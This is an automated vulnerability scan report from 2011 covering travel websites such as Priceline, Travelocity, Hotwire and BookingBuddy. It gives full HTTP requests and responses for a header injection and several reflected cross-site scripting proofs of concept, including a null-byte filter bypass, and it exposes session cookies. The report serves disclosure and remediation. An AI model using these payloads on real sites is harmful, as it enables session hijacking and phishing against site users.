XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, 11112011-01

Report generated by XSS.CX at Fri Nov 11 05:48:10 CST 2011.

Loading



1. HTTP header injection

2. Cross-site scripting (reflected)

2.1. http://tickets.priceline.com/travel/airlines/lang/en-us/search.asp [name of an arbitrarily supplied request parameter]

2.2. http://tickets.priceline.com/travel/airlines/lang/en-us/search.asp [path parameter]

2.3. http://tickets.priceline.com/travel/airlines/lang/en-us/search.asp [plf parameter]

2.4. http://travelb.priceline.com/airlines/fareResults.do [INIT_SESSION parameter]

2.5. http://travelb.priceline.com/airlines/fareResults.do [name of an arbitrarily supplied request parameter]

2.6. http://travelb.priceline.com/airlines/fareResults.do [plf parameter]

2.7. http://travelb.priceline.com/airlines/fareResults.do [session_key parameter]

2.8. http://www.bookingbuddy.com/ad_wrapper.php [name of an arbitrarily supplied request parameter]

2.9. http://www.bookingbuddy.com/ad_wrapper.php [request parameter]

2.10. http://www.hotwire.com/air/results.jsp [REST URL parameter 1]

2.11. http://travel.travelocity.com/flights/InitialSearch.do [tyrg1st cookie]

2.12. http://travel.travelocity.com/flights/SavedSearch.do [tyrg1st cookie]

2.13. http://travelb.priceline.com/airlines/fareResults.do [Referral cookie]

2.14. http://travelb.priceline.com/airlines/fareResults.do [Referral cookie]

2.15. http://travelb.priceline.com/airlines/fareResults.do [Referral cookie]

3. Flash cross-domain policy

3.1. http://om.expedia.com/crossdomain.xml

3.2. http://om.hotwire.com/crossdomain.xml

3.3. http://taxifarecalculator.cloudapp.net/crossdomain.xml

3.4. http://tickets.priceline.com/crossdomain.xml

3.5. http://travel.travelocity.com/crossdomain.xml

3.6. http://travelb.priceline.com/crossdomain.xml

4. Silverlight cross-domain policy

4.1. http://om.expedia.com/clientaccesspolicy.xml

4.2. http://om.hotwire.com/clientaccesspolicy.xml

4.3. http://taxifarecalculator.cloudapp.net/clientaccesspolicy.xml

5. XML injection

6. Session token in URL

6.1. http://tickets.priceline.com/qp.asp

6.2. http://tickets.priceline.com/travel/airlines/lang/en-us/itinerary.asp

6.3. http://tickets.priceline.com/travel/airlines/lang/en-us/itinerary.asp

6.4. http://tickets.priceline.com/travel/airlines/lang/en-us/search.asp

6.5. http://tickets.priceline.com/travel/airlines/lang/en-us/search.asp

6.6. http://travel.travelocity.com/___waseq.img

6.7. http://travel.travelocity.com/flights/FlightFilterLog.do

6.8. http://travel.travelocity.com/flights/FlightShoppingPackage.do

6.9. http://travel.travelocity.com/flights/FlightsItineraryService.do

6.10. http://travel.travelocity.com/flights/InitialSearch.do

6.11. http://travel.travelocity.com/flights/SavedSearch.do

6.12. http://travel.travelocity.com/jsp/travelocity/flights/common/scripts/Util.js

6.13. http://travelb.priceline.com/airlines/fareResults.do

6.14. http://travelb.priceline.com/airlines/fareResults.do

7. Cookie scoped to parent domain

7.1. http://tickets.priceline.com/qp.asp

7.2. http://travelb.priceline.com/airlines/fareResults.do

7.3. http://travel.travelocity.com/flights/FlightFilterLog.do

7.4. http://travel.travelocity.com/flights/FlightShoppingPackage.do

7.5. http://travel.travelocity.com/flights/FlightsItineraryService.do

7.6. http://travel.travelocity.com/flights/InitialSearch.do

7.7. http://travel.travelocity.com/flights/SavedSearch.do

7.8. http://travelb.priceline.com/sharedapps/scs

7.9. http://www.bookingbuddy.com/js_error_log.php

7.10. http://www.bookingbuddy.com/r/

7.11. http://www.bookingbuddy.com/tabsearches.php

8. Cookie without HttpOnly flag set

8.1. http://tickets.priceline.com/qp.asp

8.2. http://travelb.priceline.com/airlines/fareResults.do

8.3. http://travel.travelocity.com/flights/FlightFilterLog.do

8.4. http://travel.travelocity.com/flights/FlightShoppingPackage.do

8.5. http://travel.travelocity.com/flights/FlightsItineraryService.do

8.6. http://travel.travelocity.com/flights/InitialSearch.do

8.7. http://travel.travelocity.com/flights/SavedSearch.do

8.8. http://travelb.priceline.com/sharedapps/scs

8.9. http://www.bookingbuddy.com/js_error_log.php

8.10. http://www.bookingbuddy.com/r/

8.11. http://www.bookingbuddy.com/tabsearches.php

8.12. http://www.hotwire.com/air/dispatch.jsp

8.13. http://www.hotwire.com/air/results.jsp

9. Password field with autocomplete enabled

9.1. http://travelb.priceline.com/airlines/fareResults.do

9.2. http://travelb.priceline.com/airlines/fareResults.do

10. Source code disclosure

11. Cross-domain Referer leakage

11.1. http://tickets.priceline.com/travel/airlines/lang/en-us/search.asp

11.2. http://travel.travelocity.com/flights/InitialSearch.do

11.3. http://travel.travelocity.com/flights/InitialSearch.do

11.4. http://travel.travelocity.com/flights/InitialSearch.do

11.5. http://travel.travelocity.com/flights/SavedSearch.do

11.6. http://travelb.priceline.com/airlines/fareResults.do

11.7. http://travelb.priceline.com/airlines/fareResults.do

11.8. http://www.bookingbuddy.com/ad_wrapper.php

11.9. http://www.bookingbuddy.com/tabsearches.php

11.10. http://www.bookingbuddy.com/tabsearches.php

11.11. http://www.hotwire.com/air/results.jsp

11.12. http://www.hotwire.com/air/results.jsp

11.13. http://www.hotwire.com/air/results.jsp

12. Cross-domain script include

12.1. http://travel.travelocity.com/flights/InitialSearch.do

12.2. http://travel.travelocity.com/flights/InitialSearch.do

12.3. http://travel.travelocity.com/flights/SavedSearch.do

12.4. http://www.bookingbuddy.com/ad_wrapper.php

12.5. http://www.bookingbuddy.com/tabsearches.php

12.6. http://www.hotwire.com/air/results.jsp

13. TRACE method is enabled

14. Email addresses disclosed

15. Robots.txt file

15.1. http://om.expedia.com/b/ss/expedia1/1/H.23.3/s16921562908682

15.2. http://om.hotwire.com/b/ss/hotwirecom/1/H.23.2/s13584853033535

15.3. http://tickets.priceline.com/qp.asp

15.4. http://travel.travelocity.com/flights/InitialSearch.do

15.5. http://travelb.priceline.com/zp/zpmenu/themes/pclnhome.css

15.6. http://www.bookingbuddy.com/tabsearches.php

15.7. http://www.hotwire.com/air/dispatch.jsp

16. HTML does not specify charset

17. Content type incorrectly stated

17.1. http://travel.travelocity.com/flights/FlightFilterLog.do

17.2. http://www.bookingbuddy.com/ajax/

18. Content type is not specified



1. HTTP header injection  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://travel.travelocity.com
Path:   /flights/InitialSearch.do

Issue detail

The value of the flightType request parameter is copied into the Location response header. The payload 91987%0d%0a6cb45743169 was submitted in the flightType parameter. This caused a response containing an injected HTTP header.

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.

Request

GET /flights/InitialSearch.do?Service=TRAVELOCITY&flightType=91987%0d%0a6cb45743169&dateTypeSelect=exactDates&dateLeavingTime=Anytime&dateReturningTime=Anytime&adults=1&children=0&seniors=0&leavingDate=12%2F2%2F2011&returningDate=12%2F4%2F2011&leavingFrom=BOS&goingTo=MIA&WA1=03010&WA2=bingtravel.com&WA5=trave_flight_presearch_checkbox_|u&WA6=air HTTP/1.1
Host: travel.travelocity.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.bing.com/travel/flights?FORM=TRABFL
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Moved Temporarily
Date: Thu, 10 Nov 2011 21:54:13 GMT
Server: Apache
Set-Cookie: JSID=4CB801C18389DA3259FB9AF263989230.p0610; Domain=.travelocity.com; Path=/
Set-Cookie: Service=TRAVELOCITY; Domain=.travelocity.com; Path=/
Set-Cookie: JSESSIONID=; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: JSID=; Domain=.travelocity.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: SID=; Domain=.travelocity.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: ex.lb.entity=; Domain=.travelocity.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: lb.entity=; Domain=.travelocity.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Location: http://travel.travelocity.com/flights/InitialSearch.do?.stc=4CB801C18389DA3259FB9AF263989230.p0610&dateLeavingTime=Anytime&WA2=bingtravel.com&WA1=03010&children=0&dateReturningTime=Anytime&Service=TRAVELOCITY&returningDate=12/4/2011&leavingDate=12/2/2011&flightType=91987
6cb45743169
&goingTo=MIA&dateTypeSelect=exactDates&adults=1&seniors=0&WA6=air&leavingFrom=BOS&WA5=trave_flight_presearch_checkbox_|u
Vary: Accept-Encoding
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=ISO-8859-1


2. Cross-site scripting (reflected)  previous  next
There are 15 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


2.1. http://tickets.priceline.com/travel/airlines/lang/en-us/search.asp [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://tickets.priceline.com
Path:   /travel/airlines/lang/en-us/search.asp

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 82ff8"><script>alert(1)</script>c4bca35266d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /travel/airlines/lang/en-us/search.asp?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&path=bak&82ff8"><script>alert(1)</script>c4bca35266d=1 HTTP/1.1
Host: tickets.priceline.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://tickets.priceline.com/qp.asp?rdr=1&ProductId=1&DepCity=BOS&ArrCity=MIA&DepartureDate=12%2F2%2F2011&ReturnDate=12%2F4%2F2011&NumTickets=1&CabinClass=ECO&refid=PLFARECAST&refclickid=FDC_AIRSEARCH&session_key=6F1410AC701410AC20111110215328921bd0227606
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Stick2=ID=0%7CB%7C11%2F10%2F2011+16%3A53; Referral=SOURCEID=PL&PRODUCTID=&WEBENTRYTIME=11%2F10%2F2011+16%3A53%3A28&ID=FARECAST&CLICKID=FDC%5FAIRSEARCH; vsch=v20111110215328921bd022%5F86719894; vid=v20111110215328921bd022; SITESERVER=ID=bf049cba906144f4ad9961ab6fcbc674; PSessKey=6F1410AC701410AC20111110215334492c91305482; WT_FPC=id=290adf770e0880aab941320965614204:lv=1320965614204:ss=1320965614204; __utma=137358961.2047494711.1320962016.1320962016.1320962016.1; __utmb=137358961.1.10.1320962016; __utmc=137358961; __utmz=137358961.1320962016.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; CJK=5663010a5764010a20111110215348ce5010773649

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:59:25 GMT
Server: Microsoft-IIS/6.0
Content-Length: 22373
Content-Type: text/html
Cache-control: private


   <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">


<SCRIPT Language="JavaScript">
function vpXSellPopup(strURL, lWidth, lHeight, lXPos, lYPos, strParam
...[SNIP]...
<a href="?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&path=bak&82ff8"><script>alert(1)</script>c4bca35266d=1&dbg=B3DA697EF19D0D07DF7C589E3F2C2C48E949002942E3699211CE7D9BC2BE77C4EDC71BA7433D252F6C63EB0FA35AD57A473EE27DCCC0519D5C864852C362546796BEB8CCDD916703BE09689168DDE73555C45870D0EFCC2E7EA78B760EF006E539
...[SNIP]...

2.2. http://tickets.priceline.com/travel/airlines/lang/en-us/search.asp [path parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://tickets.priceline.com
Path:   /travel/airlines/lang/en-us/search.asp

Issue detail

The value of the path request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %0033bc9"><script>alert(1)</script>bf582243c2a was submitted in the path parameter. This input was echoed as 33bc9"><script>alert(1)</script>bf582243c2a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /travel/airlines/lang/en-us/search.asp?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&path=bak%0033bc9"><script>alert(1)</script>bf582243c2a HTTP/1.1
Host: tickets.priceline.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://tickets.priceline.com/qp.asp?rdr=1&ProductId=1&DepCity=BOS&ArrCity=MIA&DepartureDate=12%2F2%2F2011&ReturnDate=12%2F4%2F2011&NumTickets=1&CabinClass=ECO&refid=PLFARECAST&refclickid=FDC_AIRSEARCH&session_key=6F1410AC701410AC20111110215328921bd0227606
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Stick2=ID=0%7CB%7C11%2F10%2F2011+16%3A53; Referral=SOURCEID=PL&PRODUCTID=&WEBENTRYTIME=11%2F10%2F2011+16%3A53%3A28&ID=FARECAST&CLICKID=FDC%5FAIRSEARCH; vsch=v20111110215328921bd022%5F86719894; vid=v20111110215328921bd022; SITESERVER=ID=bf049cba906144f4ad9961ab6fcbc674; PSessKey=6F1410AC701410AC20111110215334492c91305482; WT_FPC=id=290adf770e0880aab941320965614204:lv=1320965614204:ss=1320965614204; __utma=137358961.2047494711.1320962016.1320962016.1320962016.1; __utmb=137358961.1.10.1320962016; __utmc=137358961; __utmz=137358961.1320962016.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; CJK=5663010a5764010a20111110215348ce5010773649

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:58:54 GMT
Server: Microsoft-IIS/6.0
Content-Length: 22515
Content-Type: text/html
Cache-control: private


   <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">


<SCRIPT Language="JavaScript">
function vpXSellPopup(strURL, lWidth, lHeight, lXPos, lYPos, strParam
...[SNIP]...
<a href="?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&path=bak%0033bc9"><script>alert(1)</script>bf582243c2a&dbg=B3DA697EF19D0D07DF7C589E3F2C2C48E949002942E3699211CE7D9BC2BE77C4EDC71BA7433D252F6C63EB0FA35AD57A473EE27DCCC0519D5C864852C362546796BEB8CCDD916703BE09689168DDE73555C45870D0EFCC2E7EA78B760EF006E53924
...[SNIP]...

2.3. http://tickets.priceline.com/travel/airlines/lang/en-us/search.asp [plf parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://tickets.priceline.com
Path:   /travel/airlines/lang/en-us/search.asp

Issue detail

The value of the plf request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %0023ff5"><script>alert(1)</script>fae11e68055 was submitted in the plf parameter. This input was echoed as 23ff5"><script>alert(1)</script>fae11e68055 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /travel/airlines/lang/en-us/search.asp?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln%0023ff5"><script>alert(1)</script>fae11e68055&path=bak HTTP/1.1
Host: tickets.priceline.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://tickets.priceline.com/qp.asp?rdr=1&ProductId=1&DepCity=BOS&ArrCity=MIA&DepartureDate=12%2F2%2F2011&ReturnDate=12%2F4%2F2011&NumTickets=1&CabinClass=ECO&refid=PLFARECAST&refclickid=FDC_AIRSEARCH&session_key=6F1410AC701410AC20111110215328921bd0227606
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Stick2=ID=0%7CB%7C11%2F10%2F2011+16%3A53; Referral=SOURCEID=PL&PRODUCTID=&WEBENTRYTIME=11%2F10%2F2011+16%3A53%3A28&ID=FARECAST&CLICKID=FDC%5FAIRSEARCH; vsch=v20111110215328921bd022%5F86719894; vid=v20111110215328921bd022; SITESERVER=ID=bf049cba906144f4ad9961ab6fcbc674; PSessKey=6F1410AC701410AC20111110215334492c91305482; WT_FPC=id=290adf770e0880aab941320965614204:lv=1320965614204:ss=1320965614204; __utma=137358961.2047494711.1320962016.1320962016.1320962016.1; __utmb=137358961.1.10.1320962016; __utmc=137358961; __utmz=137358961.1320962016.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; CJK=5663010a5764010a20111110215348ce5010773649

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 21:58:40 GMT
Server: Microsoft-IIS/6.0
Content-Length: 22379
Content-Type: text/html
Cache-control: private


   <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">


<SCRIPT Language="JavaScript">
function vpXSellPopup(strURL, lWidth, lHeight, lXPos, lYPos, strParam
...[SNIP]...
<a href="?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln%0023ff5"><script>alert(1)</script>fae11e68055&path=bak&dbg=B3DA697EF19D0D07DF7C589E3F2C2C48E949002942E3699211CE7D9BC2BE77C4EDC71BA7433D252F6C63EB0FA35AD57A473EE27DCCC0519D5C864852C362546796BEB8CCDD916703BE09689168DDE73555C45870D0EFCC2E7EA78B760EF
...[SNIP]...

2.4. http://travelb.priceline.com/airlines/fareResults.do [INIT_SESSION parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://travelb.priceline.com
Path:   /airlines/fareResults.do

Issue detail

The value of the INIT_SESSION request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 23821"><script>alert(1)</script>4c0455d6907 was submitted in the INIT_SESSION parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /airlines/fareResults.do?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&jarmkey=5663010A5863010AzCfC77qHUk6Rk%3Dy7V8CHJC2399&INIT_SESSION=true23821"><script>alert(1)</script>4c0455d6907 HTTP/1.1
Host: travelb.priceline.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://tickets.priceline.com/travel/airlines/lang/en-us/search.asp?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&path=bak
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Stick2=ID=0%7CB%7C11%2F10%2F2011+16%3A53; Referral=SOURCEID=PL&PRODUCTID=&WEBENTRYTIME=11%2F10%2F2011+16%3A53%3A28&ID=FARECAST&CLICKID=FDC%5FAIRSEARCH; vsch=v20111110215328921bd022%5F86719894; vid=v20111110215328921bd022; SITESERVER=ID=bf049cba906144f4ad9961ab6fcbc674; PSessKey=6F1410AC701410AC20111110215334492c91305482; CJK=5663010a5764010a20111110215348ce5010773649; __utma=137358961.2047494711.1320962016.1320962016.1320962016.1; __utmb=137358961.2.10.1320962016; __utmc=137358961; __utmz=137358961.1320962016.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; WT_FPC=id=290adf770e0880aab941320965614204:lv=1320965683991:ss=1320965614204

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 22:03:59 GMT
Server: Apache
Set-Cookie: PSessKey=; Domain=.priceline.com; Path=/
Set-Cookie: JSessionKey=; Domain=.priceline.com; Path=/
Set-Cookie: JSessionKey=5564010a4663010a201111102203590ab021609336; Domain=.priceline.com; Path=/
Vary: Accept-Encoding
Content-Length: 354123
Content-Type: text/html;;charset=iso-8859-1


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd
...[SNIP]...
<a href="?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&jarmkey=5663010A5863010AzCfC77qHUk6Rk%3Dy7V8CHJC2399&INIT_SESSION=true23821"><script>alert(1)</script>4c0455d6907&dbg=F013CA662535F126BBC3678B13465A2DE949002942E36992361CFE1D5E21009529318A6B1655EAA6ED6640A4C043D27F473EE27DCCC0519D5C864852C362546741DC29806D3FEF60181D926604AF874C75BA4FA8045FA289EF378F63E168DE66F9B1
...[SNIP]...

2.5. http://travelb.priceline.com/airlines/fareResults.do [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://travelb.priceline.com
Path:   /airlines/fareResults.do

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f459b"><script>alert(1)</script>9eb2b4739c6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /airlines/fareResults.do?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&jarmkey=5663010A5863010AzCfC77qHUk6Rk%3Dy7V8CHJC2399&INIT_SESSION=true&f459b"><script>alert(1)</script>9eb2b4739c6=1 HTTP/1.1
Host: travelb.priceline.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://tickets.priceline.com/travel/airlines/lang/en-us/search.asp?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&path=bak
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Stick2=ID=0%7CB%7C11%2F10%2F2011+16%3A53; Referral=SOURCEID=PL&PRODUCTID=&WEBENTRYTIME=11%2F10%2F2011+16%3A53%3A28&ID=FARECAST&CLICKID=FDC%5FAIRSEARCH; vsch=v20111110215328921bd022%5F86719894; vid=v20111110215328921bd022; SITESERVER=ID=bf049cba906144f4ad9961ab6fcbc674; PSessKey=6F1410AC701410AC20111110215334492c91305482; CJK=5663010a5764010a20111110215348ce5010773649; __utma=137358961.2047494711.1320962016.1320962016.1320962016.1; __utmb=137358961.2.10.1320962016; __utmc=137358961; __utmz=137358961.1320962016.1.1.utmcsr=bing.com|utmccn=(referral)|utmcmd=referral|utmcct=/travel/flights; WT_FPC=id=290adf770e0880aab941320965614204:lv=1320965683991:ss=1320965614204

Response

HTTP/1.1 200 OK
Date: Thu, 10 Nov 2011 22:04:53 GMT
Server: Apache
Set-Cookie: PSessKey=; Domain=.priceline.com; Path=/
Set-Cookie: JSessionKey=; Domain=.priceline.com; Path=/
Set-Cookie: JSessionKey=5564010a4663010a20111110220453117021601416; Domain=.priceline.com; Path=/
Set-Cookie: JSESSIONID=E2EA473E5E9D6A12A54865FC34A9F530; Path=/airlines
Vary: Accept-Encoding
Content-Length: 354154
Content-Type: text/html;;charset=iso-8859-1


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd
...[SNIP]...
<a href="?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&jarmkey=5663010A5863010AzCfC77qHUk6Rk%3Dy7V8CHJC2399&INIT_SESSION=true&f459b"><script>alert(1)</script>9eb2b4739c6=1&dbg=F013CA662535F126BBC3678B13465A2DE949002942E369924A0882D0605E71DD856052242621E560F1BB68628305992C8C645FB12918FC2CF519B9F2D1F68683E28340002BC266C991B1885912E715488B0636758B64A03AD855858D863BDEBEB7
...[SNIP]...

2.6. http://travelb.priceline.com/airlines/fareResults.do [plf parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://travelb.priceline.com
Path:   /airlines/fareResults.do

Issue detail

The value of the plf request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d3014"><script>alert(1)</script>ea26b526385 was submitted in the plf parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /airlines/fareResults.do?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pclnd3014"><script>alert(1)</script>ea26b526385&jarmkey=5663010A5863010AzCfC77qHUk6Rk%3Dy7V8CHJC2399&INIT_SESSION=true HTTP/1.1
Host: travelb.priceline.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://tickets.priceline.com/travel/airlines/lang/en-us/search.asp?session_key=6F1410AC701410AC20111110215331132a91296209&plf=pcln&path=bak
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
